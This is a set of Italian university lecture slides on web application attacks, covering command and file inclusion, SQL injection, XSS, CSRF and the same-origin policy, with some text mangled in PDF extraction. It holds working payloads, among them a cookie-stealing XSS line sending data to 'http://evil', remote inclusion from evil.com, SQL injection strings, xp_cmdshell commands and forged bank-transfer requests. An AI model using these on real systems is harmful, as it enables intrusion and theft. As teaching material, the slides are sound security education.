Università degli Studi di Milano
Facoltà di Scienze e Tecnologie
Anno Accademico 2013/2014
Sicurezza delle applicazioni web: attacchi
Srdan Matic <[email protected]>
Aristide Fattori <[email protected]>
11 Dicembre 2013
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
1 / 57
OWASP Top Ten (2013)
1
Injection
2
Cross-Site Scripting (XSS)
3
Broken Authentication and
Session Management
4
5
Insecure Direct Object Reference
Cross-Site Request Forgery
(CRSF)
6
Security Misconfiguration
7
Insecure Cryptographic Storage
8
Failure to Restrict URL Access
9
Insufficient Transport Layer
Protocol
10
Unvalidated Redirects and
Forwards
1
Injection
2
Broken Authentication and Session
Management
3
Cross-Site Scripting (XSS)
4
Insecure Direct Object Reference
5
Security Misconfiguration
6
Sensitive Data Exposure (Insecure
Cryptographic Storage + Insufficient
Transport Layer Protocol)
7
Missing Function Level Access
Control ⊃ Failure to Restrict URL
Access
8
Cross-Site Request Forgery (CRSF)
9
Using Known Vulnerable Components
10
Unvalidated Redirects and Forwards
Fonte: http://owasptop10.googlecode.com/files/OWASP%20Top%2010%
20-%202013.pdf
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
2 / 57
Command Injection
Command injection
ogni linguaggio server-side mette a disposizione apposite funzioni per
eseguire comandi (e.g., system(), exec(), popen())
spesso nomi e parametri vengono passati a queste funzioni attraverso i
metodi POST o GET
⇒ i dati che l’applicazione riceve in input spesso non vengono sanitizzati (o
la sanitizzazione non viene effettuata con sufficiente attenzione); questo
può portare a vulnerabilità
Esempio: ultimo aggiornamento del file
<?php
$file name = $ GET[’file name’];
$last modified = system(”stat −c ’%y’ ” . $file name);
?>
Altro esempio
interpretazione dinamica di codice (e.g., eval($ GET[’a’]))
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
4 / 57
(L|R)FI: Local and Remote File
Inclusion
(Local|Remote) File Inclusion
Scenario
Numerose applicazioni ricorrono all’inclusione dinamica e condizionale
di file; i file in questione possono essere locali o fare riferimento a risorse
remote.
es1 - Corretto
es2 - Sbagliato
FILE: DB.php
FILE: it.php
<?php
$user = ’foo’; $pass = ’bar’;
function connect(...) { ... };
?>
<?php $s = ’Ciao mondo!’; ?>
FILE: index.php
FILE: index.php
<?php
include ’DB.php’;
$db = connect($user, $pass, ...);
?>
<?php
include $ GET[’lang’];
print $s;
?>
Srdjan Matic, Aristide Fattori
FILE: en.php
<?php $s = ’Hello world!’; ?>
web - attacchi
11 Dicembre 2013
6 / 57
File Inclusion - Exploiting I
Nella slide precendete, in es2, avremo richieste del tipo:
http://example.org/index.php?lang=......
Local File Inclusion
http://example.com/test.php?lang=/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Remote File Inclusion
http://evil.com/woot.txt
<?php $s = ’I can do whatever I want!’; ?>
http://example.com/test.php?lang=http://evil.com/woot.txt
I can do whatever I want!
RFI ⇒ Esecuzione arbitraria di codice
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
7 / 57
File Inclusion - Exploiting II
Possiamo utilizzare FI per leggere un file PHP? CERTAMENTE!
Possiamo includere uno script remoto che legge il file e stampa il
suo contenuto.
... ma se abbiamo a disposizione solo Local File Inclusion?
CERTAMENTE!
Possiamo affidarci ad alcune funzioni PHP meno conosciute.
If “URL fopen wrappers” are enabled in PHP (which they are in
the default configuration), you can specify the file to be included
using a URL (via HTTP or other supported wrapper - see
Supported Protocols and Wrappers for a list of protocols) instead
of a local pathname.
http://www.php.net/manual/en/function.include.php
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
8 / 57
File Inclusion - Wrapper
Wrapper
file://
http://
ftp://
php://
zlib://
data://
glob://
phar://
ssh2://
rar://
ogg://
expect://
Function
Accessing local filesystem
Accessing HTTP(s) URLs
Accessing FTP(s) URLs
Accessing various I/O streams
Compression Streams
Data (RFC 2397)
Find pathnames matching pattern
PHP Archive
Secure Shell 2
RAR
Audio streams
Process Interaction Streams
http://php.net/manual/en/wrappers.php
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
9 / 57
File Inclusion - Wrapper
php://filter
php://filter is a kind of meta-wrapper designed to permit the
application of filters to a stream at the time of opening. Ovvero
prima che i dati vengano interpretati dall’interprete PHP.
php://filter/read=a|b/resource=f → i filtri a e b vengono applicati in fase di
lettura del file f
php://filter/write=a|b/resource=f → i filtri a e b vengono applicati in fase di
scrittura del file f
php://filter/a|b/resource=f → i filtri a e b vengono applicati in sia in fase di
lettura che di scrittura del filte f
Esistono numerosi filtri: string.rot13, string.toupper,
convert.base64-encode, bzip2.compress, ...
http://www.php.net/manual/en/wrappers.php.php
http://www.php.net/manual/en/filters.php
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
10 / 57
File Inclusion - Wrapper
Come possiamo utilizzare i filtri con es2.php?
http://example.org/es2.php?lang=
php://filter/convert.base64-encode//resource=es2.php
Warning: the suhosin patch blocca[va] RFI e l’utilizzo di
wrapper potenzialmente pericolosi
http://lwn.net/Articles/479716/
“...The extension provides a whole host of other kinds of protections, largely against dodgy PHP programming
practices. For example it protects against either remote or local code inclusion, which is one of the worst
problems that has plagued PHP applications. It can disable the eval() call, prevent infinite recursion by putting a
limit on call depth, stop HTTP response splitting attacks, filter uploaded files by a variety of conditions, and on
and on. While it obviously can’t prevent all badly written PHP from running amok, it’s clear that the Suhosin
developers have looked at a lot of common problems and tried to address them. ...”
E per quanto riguarda l’esecuzione di codice arbitrario tramite LFI?
http://goo.gl/qQA3X by gynvael
http://goo.gl/s9LV4 by INSOMNIA
http://goo.gl/rfTFi by CWH Underground
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
11 / 57
SQL Injection
SQL injection (SQLi)
Scenario
all’intero del web 2.0 gran parte dei contenuto viene generata
dinamicamente e i contenuti posso variare a seconda
dell’utente (non registrato, registrato, admin, . . . )
⇒ database
SQLi: cause
nessuna validazione dell’input
le query generate dall’applicazione contengono input
proveniente dall’utente
I
siamo in presenza di SQLi quando è possibile modificare
sintassi (e semantica) di una query modificando i dati che
vengono passati in input all’applicazione
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
13 / 57
SQL injection - Esempio
$n = $ POST[’name’];
$p = $ POST[’pass’];
$result = mysql query(” SELECT ∗ FROM users ” .
” WHERE name=’$n’ AND pass=’$p’; ”);
if(mysql num rows($result) > 0 ) {
...
}
1
name = ’mario’ AND pass = ’xyz’
→ ... WHERE name=’mario’ AND pass=’xyz’;
2
name = ’admin’ AND pass = ’xyz’ OR ’1’=’1
→ ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’;
Quante righe otteniamo in output? Cosa contengono le righe di
output?
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
14 / 57
SQLi: sink
Input dell’utente
parametri GET/POST
informazioni trasmesse al server da applicazioni come: Flash,
applet Java, AJAX
HTTP Header
tutti gli header devono essere considerati come
potenzialmente pericolosi
User-Agent, Referer, . . . possono venire modificati ed
utilizzati a questo scopo . . .
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
15 / 57
SQLi: sink
Cookie
fanno ancora parte degli header
i Cookie provengono dal client e devono essere trattati come
potenzialmente pericolosi
Il database stesso: second order injection
i dati passati in input all’applicazione sono memorizzati
all’interno del database
in seguito, gli stessi dati in input vengono prelevati dal
database e utilizzati per costruire una successiva query
⇒ possibile pericolo
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
16 / 57
SQLi: obiettivi e metodologie
Obiettivo
Metodologia
identificare i parametri su cui
è possibile fare injection
database footprinting
troviamo i sink
individuare lo schema del DB
estrazione di informazioni
modifica di informazioni
DoS
authentication bypass
remote command execution
Srdjan Matic, Aristide Fattori
capire quale DMBS viene utilizzato; inappropriata gestione degli errori
nomi delle tabelle, nomi delle colonne, tipi
delle colonne, privilegi degli utenti
dump dell’intero DB
utilizzo di INSERT, UPDATE e DELETE nelle
query
non consentire l’autenticazione di un utente
legittimo (LOCK, DELETE, . . . )
bypassare i meccanismi di autenticazione
dell’applicazione
esecuzione di comandi non messi a
disposizione in orgine del DBMS
web - attacchi
11 Dicembre 2013
17 / 57
SQLi esempi: authentication bypass tramite tautologia
1
query:
$q = ” SELECT id FROM utente
WHERE user=’ ”.$user.” ’ AND pass=’ ”.$pass.” ’ ”;
2
parametri inviati all’applicazione:
$user = ”admin”;
$pass = ”’ OR ’1’=’1”;
3
conseguente query che viene generata ed eseguita:
$q = ” SELECT id FROM utente
WHERE user=’admin’ AND pass=’’ OR ’1’=’1’ ”;
I
se l’input fosse stato adeguatamente sanitizzato (e.g.,
mysql escape string()):
$q = ” SELECT id FROM utente
WHERE user=’admin’ AND pass=’ \’ OR \’\’=\’ ’ ”;
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
18 / 57
SQLi esempi: altri usi di tautologie
scelta blind del primo utente disponibile
$pass = ” ’ OR 1=1 # ”;
$q = ” SELECT id FROM utente WHERE user=’’ AND pass=’’ OR 1=1 \#’ ”;
$user = ” ’ OR user LIKE ’%’ # ”;
$q = ” SELECT id FROM utente WHERE user=’’ OR
user LIKE ’\%’ \#’ AND pass=’’ ”;
$user = ” ’ OR 1 # ”;
$q = ” SELECT id FROM utente WHERE user=’’ OR 1 \#’ AND pass=’’ ”;
scelta di uno specifico utente
$user = ” admin’ OR 1 # ”;
$q = ” SELECT id FROM utente WHERE user=’admin’ OR 1 \#’ AND pass=’’ ”;
$user = ”admin’ # ”;
$q = ” SELECT id FROM utente WHERE user=’admin’ \#’ AND pass=’’ ”;
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
19 / 57
SQLi attacchi: UNION query
query:
$q = ”SELECT id, nome, prezzo, descrizione” .
”FROM prodotto WHERE categoria=” . $ GET[’cat’];
query in seguito alla injection:
$cat = ”1 UNION SELECT 1, user, 1, pass FROM utente”;
attenzione: il numero ed il tipo delle colonne restituite in
output dalle due query SELECT deve essere lo stesso!
MySQL: se due tipi non corrispondono... viene effettuato un
cast.
$cat = ”1 UNION SELECT 1, 1, user, pass FROM utente”;
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
20 / 57
SQLi attacchi: second order injection
per portare a buon fine l’attacco, come primo passo
registriamo un utente con caratteristiche particolari
$user = ”admin’ #”;
la stringa $user viene correttamente sanitizzata prima di
venire inserita nel database
in un secondo momento, l’attaccante utilizza la routine per
cambiare la password all’utente registrato precedentemente; a
questo fine l’applicazione preleva i dati memorizzati nel DB e
li utilizza per generare una seconda query :
$q = ” UPDATE utente SET pass=’” . $ POST[’newPass’] . ”’
WHERE user=’” . $row[’user’] . ”’ ”;
se i dati provenienti dal database non vengono sanitizzati
correttamente, posso verificarsi comportamenti indesiderati,
come:
$q = ” UPDATE utente SET pass=’password’ WHERE user=’admin’ #’ ”;
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
21 / 57
SQLi attacchi: piggy-backed query
Obiettivo
ottenere l’esecuzione di un numero arbitrario di query differenti
query:
$q = ” SELECT id FROM utente WHERE user=’” . $user .
” ’ AND pass=’” . $pass . ”’ ”;
dati inviati all’applicazione:
$user = ” ’; SELECT ∗ FROM utente −− ”;
query che verrè eseguita:
$q = ” SELECT id FROM utente WHERE user=’ ’;
SELECT ∗ FROM utente −− ’ AND pass=’’ ”;
entrambe le query vengono eseguite!
Attenzione: vulnerabilità di questo tipo dipendono strettamente
dai metodi/funzioni utilizzate per effettuare la query.
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
22 / 57
SQL Injection
Advanced Techniques
SQLi: information schema
Cosa facciamo se abbiamo scovato una SQLi, ma non sappiamo i
nomi delle tabelle o quelli delle singole colonne?
Possiamo provare ad utilizzare un approccio brute-force
(buona fortuna!)
. . . possiamo altrimenti fare affidamento su caratteristiche di
MySQL
INFORMATION SCHEMA
Table Name
COLUMNS
TABLES
COLUMN PRIVILEGES
TABLE PRIVILEGES
SCHEMATA
...
Srdjan Matic, Aristide Fattori
Description
Information
Information
Information
Information
Information
...
web - attacchi
on
on
on
on
on
columns name, . . .
tables name, . . .
privileges
privileges
all databases
11 Dicembre 2013
24 / 57
SQLi: information schema
INFORMATION SCHEMA.TABLES
Column
TABLE SCHEMA
TABLE NAME
TABLE ROWS
...
Description
DB to which the table belongs
Name of the table
Number of rows in the table
...
INFORMATION SCHEMA.COLUMNS
Column
TABLE NAME
COLUMN NAME
COLUMN TYPE
...
Srdjan Matic, Aristide Fattori
Description
Name of the table containing this column
Name of the column
Type of the columns
...
web - attacchi
11 Dicembre 2013
25 / 57
SQLi: information schema esempio
Query:
$id = $ GET[’id’];
$q = ” SELECT username FROM utenti WHERE user id = $id ”;
Passo 1: estrapoliamo il nome della tabella:
$id = ”−1 UNION SELECT table name
FROM INFORMATION SCHEMA.TABLES
WHERE table schema != ’mysql’ AND
table schema != ’information schema’ ”;
Passo 2: estrapoliamo i nomi delle singole colonne
$id = ”−1 UNION SELECT column name
FROM INFORMATION SCHEMA.COLUMNS
WHERE table name = ’utenti’ LIMIT 0,1”;
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
26 / 57
Blind SQLi
$q = ’SELECT colonna FROM example WHERE id = ’ . $ GET[’id’];
$res = mysql query($q);
if(!$res) {
die(”error”);
} else {
// Le informazioni vengono memorizzate localmente sul server,
// ma al client NON viene visualizzato nessun output
}
Come fare per sfruttare la vulnerabilità?
Il codice mostrato sopra è indubbiamente vulnerabile a SQLi, ma
non mostrerà mai l’output ottenuto in seguito alle injection.
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
27 / 57
Blind SQLi - exploiting
MySQL mette a disposizione moltissime funzionalità che possiamo
utilizzare per sfruttare una SQLi.
1
BENCHMARK
BENCHMARK(loop count, expression)
2
IF
IF(expression, expr true, expr false)
3
SUBSTRING
SUBSTRING(str,
SUBSTRING(str,
SUBSTRING(str,
SUBSTRING(str,
Srdjan Matic, Aristide Fattori
pos)
FROM pos)
pos, len)
FROM pos, FOR len)
web - attacchi
11 Dicembre 2013
28 / 57
Blind SQLi - exploiting
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
29 / 57
Blind SQLi - exploiting
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
30 / 57
Blind SQLi - exploiting
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
31 / 57
Blind SQLi - pseudo-codice
Tocca a voi!
Utilizzando il template in /var/www/blind/blind template.py
realizzare il codice che dalla tabella example (database: test)
recupera il valore valore della colonna colonna associata all’id 1.
#!/usr/bin/env python
import MySQLdb
from time import sleep, time
def connect and create cursor():
conn = MySQLdb.connect(host=”localhost”, user=”root”, passwd=”root”, db=”test”)
curs = conn.cursor()
return conn, curs
def exec query(curs, query):
curs.execute(query)
if
name == ” main ”:
# crea connessione e cursore per il database
conn, curs = connect and create cursor()
query = ”””SELECT colonna FROM example”””
# esegue una query
curs.execute(query) # ... in alternativa −−> exec query(curs, query)
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
32 / 57
MySQL: operazioni sui file
Query vulnerabile:
$q = ” SELECT username FROM utenti WHERE user id = $id ”;
1
Lettura:
$id = ” −1 UNION SELECT load file(’/etc/passwd’) ”;
2
Scrittura:
$id = ” −1 UNION SELECT ’ciao’ into outfile ’/tmp/ciao’ ”;
Note:
1
se l’utente non ha l’apposito permesso FILE all’interno del
database/tabella le operazioni di lettura/scrittura file non
andranno a buon fine
2
load file restituisce NULL se non termina correttamente
3
into outfile genera un MySQL ERROR se non termina
correttamente
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
33 / 57
MSSQL: stored procedure
MSSQL mette a disposizione oltre un migliaio di stored
procedure per effettuare particolari operazioni
xp cmdshell consente l’esecuzione di comandi
esempi:
’; EXEC master..xp cmdshell ’dir c:’ −−
’; EXEC master..xp cmdshell ’ping google.com’ −−
E in Linux...
Possiamo eseguire comandi shell all’interno di MySQL?
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
34 / 57
SQLi: come difendersi
è compito dei programmatori evitare che siano presenti SQLi
nel codice dell’applicazione
spesso i programmatori utilizzano metodo “automagic” (ad
esempio, in PHP, magic quotes gpc effettua l’escape tramite
la routine addslashes())
“come fare la sanitizzazione” dipende strettamente dal tipo di
attacco dal quale ci vogliamo proteggere
l’uso di espressioni regolari ad-hoc è fortemente sconsigliato
miglio approccio: utilizzare mysql real escape string()
se in input ci si aspetta un numero... controllare che il valore
ricevuto è effettivamente un valore numerico
. . . tenete a mente che è possibile costruire stringhe particolari
anche senza ricorrere agli apici (AAA ⇔ char(65,65,65))
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
35 / 57
Race vulnerabilities nelle
applicazioni web
Concorrenza all’interno delle applicazioni web
Single request
web browser1
web browser2
page request
page request
web server
spawn new worker
spawn new worker
interpreter
interpreter
script
script
concurrent DB access
query
Srdjan Matic, Aristide Fattori
DB
web - attacchi
query
11 Dicembre 2013
37 / 57
Concorrenza all’interno delle applicazioni web
le applicazioni web sono solitamente composte da una serie di
script, ciascuno dei quali effettua una serie predefinita di task
sequenziali
spesso questi script hanno bisogno di accedere a risorse
condivise (es. database)
istanze multiple di uno script potrebbero venire eseguite
contemporaneamente
Problema
I programmatori web non percepiscono le loro applicazioni come
entità multi-thread o multi-processo
parallelismo non previsto può portare a interazioni inattese tra
i vari script
questo parallelismo può venire controllato client-side
le primitive di sincronizzazione vengono utilizzate di rado
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
38 / 57
Concorrenza all’interno delle applicazioni web - esempio
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
4
4
5
(id:
(id:
(id:
(id:
Data
123, credit:
123, credit:
123, credit:
123, credit:
Srdjan Matic, Aristide Fattori
P2
1000)
1000)
1000)
1000)
Line
⊥
1
2
4
Data
⊥
⊥
(id: 123, credit: 1000)
(id: 123, credit: 1000)
web - attacchi
Database
ID
Credit
50
2500
92
820
123
200
205
1200
...
...
11 Dicembre 2013
39 / 57
DEMO
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32
Seconda parte
Client side attacks
Attacchi client-side
I
sfruttano la fiducia che un utente ha di un sito web (XSS), o
viceversa (CSRF)
1
l’attaccante è in grado di modificare la pagina HTML
originale, aggiungendo codice (HTML o JavaScript)
2
la vittima si collega al server vulnerabile che restituisce la
pagina modificata (e.g., link in e-mail, IM, link sulla rete)
3
il browser interpreta il codice iniettato dall’attaccante
Obiettivi dell’attacco
sniffing di cookie associati al dominio vulnerabile
manipolazione form di login
esecuzione di GET/POST addizionali
. . . qualunque cosa si possa fare con HTML + JavaScript!
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
42 / 57
Cross-Site Scripting (XSS)
Obiettivo
accesso non autorizzato ad informazioni presenti sul client
attacco basato sulla mancanza di controlli sull’input
alterazione della pagina web originale, con aggiunta di codice
JavaScript o HTML
il browser del client, “fidandosi” del server web, interpreta la
pagina modificata
molto (troppo. . . ) diffusi!
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
43 / 57
Reflected Cross-Site Scripting - Esempio
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php
1
pagina PHP lato server:
2
link inviato alla vittima:
Benvenuto <?php echo $_GET[’inject’]; ?>
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/
xss_test.php?inject=<script>document.location=’http://evil/
log.php?’+document.cookie</script>
3
richiesta HTTP creata dal browser della vittima:
GET /xss_test.php?inject=%3Cscript%3Edocument.location%3D%27ht
tp%3A%2F%2Fevil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E
Host: gamebox.laser.di.unimi.it
...
4
HTML generato dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
44 / 57
Reflected Cross-Site Scripting
1
una pagina dinamica è vulnerabile a XSS
2
utente indotto ad accedere alla pagina vulnerabile
3
exploit contenuto nell’URL
Offuscamento
tecniche di encoding
nascondere il link con l’exploit dalla barra di stato
un link innocuo effettua un redirect (HTTP 3xx)
Esempi di offuscamento:
Urlencoding:
http://gamebox.laser.di.unimi.it/aa1314_sec2_
web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%
74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3E
Avoiding tag <script>: http://gamebox.laser.di.unimi.it/aa1314_
sec2_web0x32/xss_test.php?inject=<img%20onerror="javascript:
%20alert(document.cookie);"%20src=asd>
Dynamic evaluation:
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?
inject=<script>eval(String.fromCharCode(97,108,101,114,116,40,39,
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
45 / 57
Stored Cross-Site Scripting
Fase 1
l’attaccante invia al server il codice da iniettare
il server memorizza in modo persistente il codice (e.g.,
database)
Fase 2
il client si collega al server
il server genera la pagina inserendo anche il codice iniettato
Osservazioni
tutti gli utenti che richiederanno la pagina subiranno l’attacco
il codice iniettato non è visibile in un URL
molto più pericoloso rispetto ai reflected!
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
46 / 57
Cross-Site Request Forgery (CSRF)
Obiettivo
far eseguire delle azioni alle vittime, sfruttando le loro credenziali
(e.g., cookie di sessione)
tramite JavaScript non è possibile accedere ai cookie di un
altro dominio
CSRF è possibile anche senza XSS
CSRF reflected e stored
samy is my hero → virus JavaScript che sfrutta CSRF
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
47 / 57
Stored CSRF (GET)
Esempio
1
la vittima si collega a http://www.mia-banca.it/ e si
autentica
2
la vittima apre un’altra istanza del browser (tab o finestra) e
si collega ad un sito maligno
3
la pagina maligna contiene:
<img src=”http://www.mia−banca.it/traferisci.php?to=1337&amount=10000”/>
4
il browser crea una richiesta HTTP con il il Cookie
appropriato. . .
Osservazioni
tramite JavaScript è possibile creare richieste GET/POST
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
48 / 57
Stored CSRF (POST)
Esempio
1
la vittima si collega a http://www.banca-vulnerabile.it
e si autentica
2
la vittima richiede una pagina da un sito maligno
3
server maligno restituisce:
var http = false; var body = ”to=1337&amount=10000”;
http = new XMLHttpRequest();
http.onreadystatechange = handleResponse;
http.open(”POST”, ”http://www.banca−vulnerabile.it/trasferisci.php”, true);
http.setRequestHeader(”Content−type”, ”application/x−www−form−urlencoded”);
http.setRequestHeader(”Content−length”, body.length);
http.send(body);
function handleResponse() { .... }
4
per banca-vulnerabile, la richiesta è indistinguibile da una
lecita
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
49 / 57
Stored CSRF
Esempio real-world
Il likejacking su Facebook è un CSRF.
Passo 1: la vittima clicca un link interessante postato da un suo amico
Passo 2: la pagina richiede un click per avviare il video
Vediamo i sorgenti
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
50 / 57
XSS/CSRF: Contromisure
Lato client
reflected XSS: se l’attacco è visibile nella URL può essere
facilmente evitato passando dalla root del dominio
estensioni per Firefox: NoScript
non visitare altri siti quando utilizza il conto on-line, effettuare
sempre il logout
Lato server
l’input va sempre considerato insicuro, vanno applicate le
corrette funzioni di sanitizzazione (e.g., htmlspecialchars())
Per CSRF:
CAPTCHA, PIN da inserire per ogni transazione importante
parametri nascosti (e.g., campi hidden) passati tra le varie
pagine dell’applicazione
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
51 / 57
Same Origin Policy
Same Origin Policy - Scenario
Il browser invia la richiesta a google.com, comprensiva di cookie
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
53 / 57
Same Origin Policy - Esempio
Dal punto di vista di un attacker:
possiamo vedere la pagina renderizzata all’interno dell’iframe e,
quindi, navigare su google.com come l’utente che sta visitando la
nostra pagina, sfruttando i suoi cookie?
Proviamo!
document.getElementById(1)
document.getElementById(1).innerHTML
document.getElementById(1).contentWindow.document.body.innerHTML
http://www.w3schools.com/jsref/prop_frame_contentwindow.asp:
“The contentWindow property returns the Window object generated by an iframe element (through the window
object, you can access the document object and then any one of the document’s elements).”
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
54 / 57
Same Origin Policy
Alcune applicazioni WEB mettono a disposizione API che
permettono di interagire con esse anche a applicazioni di terze
parti, tramite HTTP (e.g., usando JSON, AJAX o entrambi).
Come può funzionare?
Per far si che queste API funzionino, è necessario che la Same
Origin Policy sia disattivata dal server che mette a disposizione le
API o che sia quantomeno resa più flessibile (e.g.: permettere
richieste solo a alcune pagine, solo da alcuni domini, . . . )
Come disabilitare
<?php
header(’Access−Control−Allow−Origin: ∗’);
header(’Access−Control−Allow−Methods: GET, POST, OPTIONS’);
?>
http://www.w3.org/TR/cors/
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
55 / 57
Same Origin Policy - Esempio
var http = false; var body = ””;
http = new XMLHttpRequest();
http.onreadystatechange = handleResponse;
http.open(”GET”, URL, true);
http.send(body);
joystick@arya:~$ nc security.di.unimi.it
80
GET /joystick/test CORS.php HTTP/1.1
function handleResponse()
{ Host: security.di.unimi.it
if(http.readyState == 4)
if(http.status200
== OK
200)
HTTP/1.1
alert(http.responseText);
Date:
Wed, 10 Dec 2013 12:23:21
}
GMT
Server: Apache/1.3.34 ...
Local request:
X-Powered-By:
PHP/4.4.4-8+etch4
http:
Access-Control-Allow-Origin:
*
//gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.html
GET, POST, OPTIONS
2Access-Control-Allow-Methods:
Remote request:
http:
Transfer-Encoding:
chunked
//gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.html
Content-Type: text/html; charset=iso-8859-1
3 Allowed remote request:
...
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_
1
allowed.html
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
56 / 57
Same Origin Policy
Security
Il server potrebbe dare la possibilità di accedere a informazioni
“riservate”
Il browser dell’utente potrebbe non implementare
correttamente SOP e permettere richieste cross-domain non
previste
L’enforcement di SOP in altri linguaggi client-side (e.g., Flash,
Java, . . . ) è effettuato dagli interpreti non dal browser ⇒
aumenta la possibilità di BUG
Srdjan Matic, Aristide Fattori
web - attacchi
11 Dicembre 2013
57 / 57